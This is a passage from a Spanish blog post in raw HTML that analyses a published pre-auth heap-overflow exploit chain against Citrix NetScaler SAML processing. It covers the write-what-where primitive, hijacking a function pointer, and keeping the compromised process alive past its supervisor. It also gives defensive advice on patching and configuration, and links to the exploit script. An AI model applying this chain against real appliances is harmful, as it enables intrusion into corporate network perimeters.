href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAWy_xkUZQ5Nw2hafoplKqzYcS4d69IJGV3uIbHKjECOcupLK0JhIAP5Y_wdCWsLGOsE3rWUfuTdPcMkhRDO-F5Ny_nmZZ7Vl3yFZifJxbZrjgbxmwSU1wQt6qE5HMCp1ZwnOkXFyvv9dIpP1i-h_JgUQCS4vabZaTq_NuE-mbNcMpLnCLT3WplUC-z6z5/s512/05_heap_overflow.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;341&quot; data-original-width=&quot;512&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAWy_xkUZQ5Nw2hafoplKqzYcS4d69IJGV3uIbHKjECOcupLK0JhIAP5Y_wdCWsLGOsE3rWUfuTdPcMkhRDO-F5Ny_nmZZ7Vl3yFZifJxbZrjgbxmwSU1wQt6qE5HMCp1ZwnOkXFyvv9dIpP1i-h_JgUQCS4vabZaTq_NuE-mbNcMpLnCLT3WplUC-z6z5/s1600/05_heap_overflow.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Conceptualmente podemos imaginar algo así. La diferencia entre un crash y una explotación fiable empieza precisamente aquí. No nos interesa únicamente poder escribir fuera del buffer. Nos interesa saber &lt;strong&gt;qué estructura estamos sobrescribiendo&lt;/strong&gt;. Y, todavía más importante:&amp;nbsp;&lt;strong&gt;qué campos de esa estructura son utilizados posteriormente por el programa.&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si conseguimos sobrescribir un campo que posteriormente se interpreta como un puntero, acabamos de transformar una corrupción genérica en una primitive mucho más interesante.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;6. El salto importante: write-what-where&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y aquí aparece una de las expresiones mágicas del exploit development:&amp;nbsp;&lt;strong&gt;write-what-where.&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La idea es muy sencilla:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;WHAT  = datos que queremos escribir

WHERE = dirección donde queremos escribir&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si conseguimos controlar ambos elementos, tenemos una primitiva de escritura arbitraria.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En este caso, el objeto corrupto contiene información utilizada posteriormente durante operaciones de copia.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd7wYglFiyAmsofJdC10aZMi8YkTR8Q-GeUEFGEfIQMrJuQSmA3VGv3f68uJeeVHTEQFqvGM95b4DkVw1JbGfAvK7M4TD2U6KV5XRpysz0jhAfimNKxE-TzFiggedjiy2skwFab9t4R5CbECpvrrd5V-s32kkq5UIOA0mMDIjsuTe0fV4Qx_Qa6PzhDt9D/s512/06_write_what_where.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;341&quot; data-original-width=&quot;512&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd7wYglFiyAmsofJdC10aZMi8YkTR8Q-GeUEFGEfIQMrJuQSmA3VGv3f68uJeeVHTEQFqvGM95b4DkVw1JbGfAvK7M4TD2U6KV5XRpysz0jhAfimNKxE-TzFiggedjiy2skwFab9t4R5CbECpvrrd5V-s32kkq5UIOA0mMDIjsuTe0fV4Qx_Qa6PzhDt9D/s1600/06_write_what_where.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Conceptualmente:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;memcpy(
    destination-&amp;gt;data,
    source-&amp;gt;data,
    length
);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si podemos manipular:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;source-&amp;gt;data
destination-&amp;gt;data&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;entonces podemos transformar una operación aparentemente inocente de copia de datos en una escritura controlada por el atacante.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El paso conceptual es:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;heap overflow
      ↓
corrupt object
      ↓
corrupt pointer
      ↓
memcpy()
      ↓
write-what-where&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y éste es probablemente el momento más importante de toda la explotación. Porque ya no estamos ante: &quot;Tengo un heap overflow.&quot; Ahora tenemos: &quot;Tengo una primitive que potencialmente me permite escribir en una dirección elegida.&quot;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Eso cambia completamente las posibilidades.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;7. Encontrando algo útil que sobrescribir&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Una primitive de escritura arbitraria no sirve de mucho si no tenemos un objetivo interesante.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Así que el siguiente paso consiste en buscar dentro del proceso estructuras que contengan punteros de función o datos que puedan convertirse en control de flujo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En la investigación de watchTowr aparece un candidato especialmente interesante: &lt;code dir=&quot;ltr&quot;&gt;tx_pkt_complete_fptr&lt;/code&gt;. El nombre ya da una pista bastante buena.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Estamos ante un &lt;em&gt;function pointer&lt;/em&gt; utilizado durante el procesamiento de paquetes.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En el camino de ejecución aparece una secuencia conceptualmente similar a:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;mov rax, &lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[tx_pkt_complete_fptr]&lt;/span&gt;
pop rbp
jmp rax&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Para un exploit developer esto es casi perfecto.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si conseguimos convertir:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;tx_pkt_complete_fptr&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;en:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;0x4141414141414141&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;y posteriormente el proceso intenta hacer:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;jmp rax&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;el flujo de ejecución pasa a estar bajo nuestro control.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La cadena se convierte en:&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLIWhtXpriW24z0neFNA1l4zjYK20tZSnrIIcaeTke2HqA4LenSJzSWqCRV8C0z3rdIRTu2yvfIuO1xDvOy-MFx0-w3raj6BUh8ksXYlGPn59meV2I0JIhQgj4sbZBprTy2mjVbvx0ZipfYlGJpCg5ITBnAz-yPr4PaB7vWL6GjkglqmCpouG8e1mPl4eS/s512/07_function_pointer_rip.png&quot; style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;; margin-left: 1em; margin-right: 1em; text-align: center; white-space: normal;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;341&quot; data-original-width=&quot;512&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLIWhtXpriW24z0neFNA1l4zjYK20tZSnrIIcaeTke2HqA4LenSJzSWqCRV8C0z3rdIRTu2yvfIuO1xDvOy-MFx0-w3raj6BUh8ksXYlGPn59meV2I0JIhQgj4sbZBprTy2mjVbvx0ZipfYlGJpCg5ITBnAz-yPr4PaB7vWL6GjkglqmCpouG8e1mPl4eS/s1600/07_function_pointer_rip.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y acabamos de superar una de las barreras fundamentales de una explotación de memoria:&amp;nbsp;&lt;strong&gt;hemos pasado de controlar datos a controlar ejecución.&lt;/strong&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;8. Controlar RIP no significa automáticamente tener una shell&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aquí hay otro detalle que muchas veces se pierde cuando se habla de vulnerabilidades como ésta.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Controlar &lt;code dir=&quot;ltr&quot;&gt;RIP&lt;/code&gt; no significa necesariamente que tengamos inmediatamente una shell funcional.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Todavía tenemos que resolver cuestiones como:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;¿Dónde colocamos nuestro código?&lt;/li&gt;&lt;li&gt;¿Es ejecutable esa memoria?&lt;/li&gt;&lt;li&gt;¿Tenemos NX/DEP?&lt;/li&gt;&lt;li&gt;¿Podemos utilizar ROP?&lt;/li&gt;&lt;li&gt;¿Qué registros controlamos?&lt;/li&gt;&lt;li&gt;¿Qué estado tiene el proceso?&lt;/li&gt;&lt;li&gt;¿Qué ocurre después de ejecutar nuestro código?&lt;/li&gt;&lt;li&gt;¿El proceso va a seguir funcionando?&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En la investigación de NetScaler, el entorno de ejecución presenta condiciones especialmente favorables para continuar la explotación.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El objetivo final pasa a ser ejecutar código dentro del proceso comprometido. Pero aquí aparece un nuevo enemigo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;nsppe&lt;/code&gt;.&lt;/p&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;El problema de matar al proceso que acabas de comprometer&lt;/b&gt;&lt;/h4&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Imaginemos que hemos conseguido ejecutar código. Perfecto. Ahora hacemos algo aparentemente trivial: crear archivo o ejecutar una acción y el proceso termina cayéndose.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En un servidor normal quizá tengamos tiempo para establecer una conexión posterior. En un appliance como NetScaler la situación es diferente.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Existe un mecanismo supervisor que detecta determinados fallos del proceso y puede iniciar su recuperación.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aquí entra en juego &lt;code dir=&quot;ltr&quot;&gt;pitboss&lt;/code&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La secuencia conceptual es:&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBwgcSQIR_tAjCtLgo8YfXakuxMg5QiKASv2yhx5k1KjnIYCBHoJgFJmJNZmgQjRoeKGJ1hY7FSTeHqAJL6SnlAvLhWzAD_EtEjha3f9EJqXnf-7mBU4Y4I9Q7saZT4wG0O1F5PpCZhlN1KRiCn4zuUMNNP1ho8sw5QanVvqImF1y6puioO9iHxHA05xBN/s512/08_shellcode_pitboss.png&quot; style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;; margin-left: 1em; margin-right: 1em; text-align: center; white-space: normal;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;341&quot; data-original-width=&quot;512&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBwgcSQIR_tAjCtLgo8YfXakuxMg5QiKASv2yhx5k1KjnIYCBHoJgFJmJNZmgQjRoeKGJ1hY7FSTeHqAJL6SnlAvLhWzAD_EtEjha3f9EJqXnf-7mBU4Y4I9Q7saZT4wG0O1F5PpCZhlN1KRiCn4zuUMNNP1ho8sw5QanVvqImF1y6puioO9iHxHA05xBN/s1600/08_shellcode_pitboss.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y eso plantea un problema de explotación bastante interesante:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;¿Cómo conseguimos que nuestro proceso comprometido sobreviva el tiempo suficiente para hacer algo útil?&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto nos lleva a un concepto que me parece especialmente interesante para entender la diferencia entre un PoC y un exploit real:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;process continuity.&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No basta con: RCE → ejecutar código. Un exploit fiable muchas veces necesita:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;RCE
 ↓
hacer lo que necesitamos
 ↓
reparar el estado corrupto
 ↓
mantener vivo el proceso
 ↓
continuar la ejecución normal&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto es especialmente importante en software de infraestructura.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si acabamos de comprometer el proceso principal de un VPN gateway, un crash puede ser precisamente lo contrario de lo que queremos.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Podemos conseguir ejecución de código y, al mismo tiempo, provocar una interrupción de servicio que haga saltar todas las alarmas.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La explotación perfecta es aquella que consigue el objetivo &lt;strong&gt;sin destruir el componente que acabamos de comprometer&lt;/strong&gt;.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;9. Señales y el mecanismo de recuperación&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En este punto aparece otra parte interesante de la ingeniería del exploit.&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;nsppe&lt;/code&gt; utiliza handlers para determinadas señales relacionadas con errores graves del proceso. Entre ellas aparecen señales como:&amp;nbsp;&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;SIGSEGV
SIGBUS
SIGABRT&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Cuando se produce una de estas condiciones, el proceso puede ejecutar su camino de error y comunicar el problema al mecanismo de supervisión.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La idea investigada por watchTowr consiste en modificar el comportamiento de determinados handlers para evitar que el proceso siga inmediatamente la ruta normal de recuperación.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Conceptualmente:&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFMlXaXzvmEmsX4333qFSfD-WKLXsgX51ouQLmNb5bzRqPrN47TNPOyhUt7rEJMCR5Q0dgHSRVUVF0Ej28-7MFBYZ9flAT54HEE44eJafqKOxe7BfKFIMF5nt5s5_iCla1r0V14EBxpCq3flmiXhhyphenhyphenZUSr-RVYk8owReF3M1w93GbZKX6sWKdljUASrjz6/s512/09_signal_handlers.png&quot; style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;; margin-left: 1em; margin-right: 1em; text-align: center; white-space: normal;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;342&quot; data-original-width=&quot;512&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFMlXaXzvmEmsX4333qFSfD-WKLXsgX51ouQLmNb5bzRqPrN47TNPOyhUt7rEJMCR5Q0dgHSRVUVF0Ej28-7MFBYZ9flAT54HEE44eJafqKOxe7BfKFIMF5nt5s5_iCla1r0V14EBxpCq3flmiXhhyphenhyphenZUSr-RVYk8owReF3M1w93GbZKX6sWKdljUASrjz6/s1600/09_signal_handlers.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto no es simplemente una técnica para conseguir RCE. Es una técnica para intentar resolver el problema que viene después del RCE:&amp;nbsp;&lt;strong&gt;mantener el proceso bajo control.&amp;nbsp;&lt;/strong&gt;Y esa distinción es fundamental.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;10. La cadena completa&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si juntamos todos los pasos, la explotación deja de parecer una única vulnerabilidad y empieza a parecer una cadena de pequeñas primitives. El recorrido conceptual es:&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCuvQkrmwg99sK7kCi76GNvH3jdcmG5P-erbOsCMTXRKqoyXRne8Ibldk3aD9UaO5tC_UBBZvUfc4zCY_RDZi-Uk0U72xoNHaZhzfgUCt1CrwNPARCU3GPZkMihEHH7nt-PoeFlrN8RQDfY7o7i4-Y-6czy1Jh0gIXjii35S4dYt5pXuKeHOuR2vZx5zar/s1024/10_full_exploit_chain.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;342&quot; data-original-width=&quot;1024&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCuvQkrmwg99sK7kCi76GNvH3jdcmG5P-erbOsCMTXRKqoyXRne8Ibldk3aD9UaO5tC_UBBZvUfc4zCY_RDZi-Uk0U72xoNHaZhzfgUCt1CrwNPARCU3GPZkMihEHH7nt-PoeFlrN8RQDfY7o7i4-Y-6czy1Jh0gIXjii35S4dYt5pXuKeHOuR2vZx5zar/s1600/10_full_exploit_chain.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y ésta es precisamente la parte que me parece más interesante del análisis.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ninguno de los pasos, considerado aisladamente, parece especialmente espectacular.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Tenemos un parser.&lt;/li&gt;&lt;li&gt;Tenemos un buffer.&lt;/li&gt;&lt;li&gt;Tenemos un overflow.&lt;/li&gt;&lt;li&gt;Tenemos un objeto adyacente.&lt;/li&gt;&lt;li&gt;Tenemos un puntero.&lt;/li&gt;&lt;li&gt;Tenemos un &lt;code dir=&quot;ltr&quot;&gt;memcpy()&lt;/code&gt;.&lt;/li&gt;&lt;li&gt;Tenemos un function pointer.&lt;/li&gt;&lt;li&gt;Tenemos un &lt;code dir=&quot;ltr&quot;&gt;jmp&lt;/code&gt;.&lt;/li&gt;&lt;li&gt;Y tenemos un mecanismo supervisor.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El trabajo del exploit developer consiste en &lt;strong&gt;conectar todas esas piezas&lt;/strong&gt;.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;El verdadero valor del patch diffing&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Hay una lección bastante más general detrás de este caso.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Cuando un fabricante publica: &quot;Memory overflow vulnerability&quot; nos está diciendo muy poco.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Pero cuando conseguimos:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;versión vulnerable
        ↓
versión parcheada
        ↓
binary diff
        ↓
funciones modificadas
        ↓
nuevos checks
        ↓
root cause&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;la situación cambia radicalmente.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El parche se convierte en una especie de mapa inverso de la vulnerabilidad. En particular, las comprobaciones nuevas alrededor de operaciones como:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;memcpy()
memmove()
strcpy()
serialization
deserialization&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;merecen una atención especial.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No significa que cada &lt;code dir=&quot;ltr&quot;&gt;if (length &amp;gt; ...)&lt;/code&gt; esconda un CVE.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Pero cuando aparece una comprobación de tamaño nueva exactamente en el camino que procesa datos controlados por el usuario, tenemos una pista excelente.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;Otra lección: el crash es solamente el principio&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Una de las cosas que más me gusta de esta investigación es que muestra una progresión muy clara:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;Crash
  ↓
Memory corruption
  ↓
Controlled corruption
  ↓
Primitive
  ↓
Arbitrary write
  ↓
Control flow
  ↓
Code execution&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Muchos análisis de vulnerabilidades terminan en: &quot;hemos conseguido provocar un crash.&quot; Desde el punto de vista de exploit development eso puede ser solamente el primer 10% del trabajo. La pregunta importante es qué propiedades tiene esa corrupción. ¿Controlamos el offset? ¿Controlamos los datos? ¿Controlamos el destino? ¿Podemos repetir la corrupción? ¿Es determinista el layout? ¿Hay ASLR? ¿Hay PIE? ¿Hay NX? ¿Hay stack canaries? ¿Podemos encontrar un function pointer? ¿Existe una estructura interesante adyacente?&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ésas son las preguntas que convierten un crash en una investigación de explotación.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;¿Por qué los appliances perimetrales son tan interesantes?&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aquí está probablemente la razón por la que este tipo de vulnerabilidad merece tanta atención.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Un servidor web comprometido puede darte acceso a una aplicación. Un appliance perimetral comprometido puede darte acceso a una pieza de infraestructura situada exactamente en el punto donde convergen:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;Internet
   ↓
VPN
   ↓
Autenticación
   ↓
Aplicaciones internas
   ↓
Red corporativa&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;NetScaler no es simplemente otro servidor. Es infraestructura. Y por eso un RCE pre-auth en un appliance de este tipo tiene un perfil de riesgo muy diferente al de una vulnerabilidad equivalente en un sistema aislado.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Citrix, de hecho, recomienda instalar las versiones corregidas con carácter urgente y proporciona además mecanismos para comprobar si el appliance cumple las precondiciones de CVE-2026-8452.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;¿Cómo comprobar si el appliance cumple la condición de explotación?&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Éste es otro detalle importante.No todos los NetScaler están necesariamente expuestos a esta vulnerabilidad en las mismas condiciones. Citrix especifica para CVE-2026-8452 que el appliance debe estar configurado como:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;AAA virtual server.&lt;/li&gt;&lt;li&gt;Gateway / VPN vServer.&lt;/li&gt;&lt;li&gt;ICA Proxy.&lt;/li&gt;&lt;li&gt;CVPN.&lt;/li&gt;&lt;li&gt;RDP Proxy.&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El propio fabricante proporciona patrones de configuración para identificar estas condiciones. Para una auditoría defensiva, por tanto, no deberíamos quedarnos únicamente con: ¿Tengo una versión vulnerable? sino comprobar: ¿Tengo una versión vulnerable? + ¿Tengo la configuración afectada?&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto es especialmente importante en grandes organizaciones donde puede haber decenas o cientos de appliances NetScaler.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;Versiones afectadas y parche&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Según el boletín de Citrix, las ramas afectadas incluyen:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;14.1 &amp;lt; 14.1-72.61
13.1 &amp;lt; 13.1-63.18
14.1 FIPS &amp;lt; 14.1-72.61 FIPS
13.1 FIPS / NDcPP &amp;lt; 13.1-37.272&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Las versiones corregidas indicadas por el fabricante son:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;14.1-72.61 o posterior
13.1-63.18 o posterior
14.1-72.61 FIPS o posterior
13.1-37.272 o posterior para FIPS/NDcPP&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Citrix también indica que las instalaciones de Secure Private Access Hybrid que utilicen NetScaler deben actualizarse.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En otras palabras: si tienes NetScaler expuesto y cumples las condiciones de explotación, &lt;strong&gt;no es el típico parche que dejaría para la siguiente ventana de mantenimiento&lt;/strong&gt;.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;El exploit&lt;/b&gt;&lt;/h3&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;a href=&quot;https://raw.githubusercontent.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-PreAuth-RCE-CVE-2026-8452/refs/heads/main/watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py&quot;&gt;https://raw.githubusercontent.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-PreAuth-RCE-CVE-2026-8452/refs/heads/main/watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;PDq2pG_selectionAnchorContainer&quot; data-end=&quot;681&quot; data-start=&quot;0&quot;&gt;El exploit de watchTowr encadena un &lt;strong data-end=&quot;87&quot; data-start=&quot;36&quot;&gt;heap overflow pre-auth en el procesamiento SAML&lt;/strong&gt; con una serie de primitivas de explotación. Primero obtiene del propio flujo SAML el &lt;code data-end=&quot;187&quot; data-start=&quot;173&quot;&gt;AuthnRequest&lt;/code&gt; y el &lt;code data-end=&quot;219&quot; data-start=&quot;193&quot;&gt;AssertionConsumerService&lt;/code&gt;, y construye una &lt;code data-end=&quot;251&quot; data-start=&quot;237&quot;&gt;SAMLResponse&lt;/code&gt; especialmente manipulada cuyo &lt;code data-end=&quot;294&quot; data-start=&quot;282&quot;&gt;SignedInfo&lt;/code&gt; contiene un &lt;code data-end=&quot;339&quot; data-start=&quot;307&quot;&gt;InclusiveNamespaces/PrefixList&lt;/code&gt; diseñado al milímetro. Ese &lt;code data-end=&quot;379&quot; data-start=&quot;367&quot;&gt;PrefixList&lt;/code&gt; no solo provoca el overflow durante la canonicalización XML, sino que contiene valores de 64 bits colocados en offsets concretos para corromper estructuras/punteros del heap y conseguir una primitiva de escritura que termina sobrescribiendo un puntero de función. &lt;span class=&quot;contents&quot; data-content-reference-end=&quot;661&quot; data-content-reference-start=&quot;644&quot;&gt;&lt;span 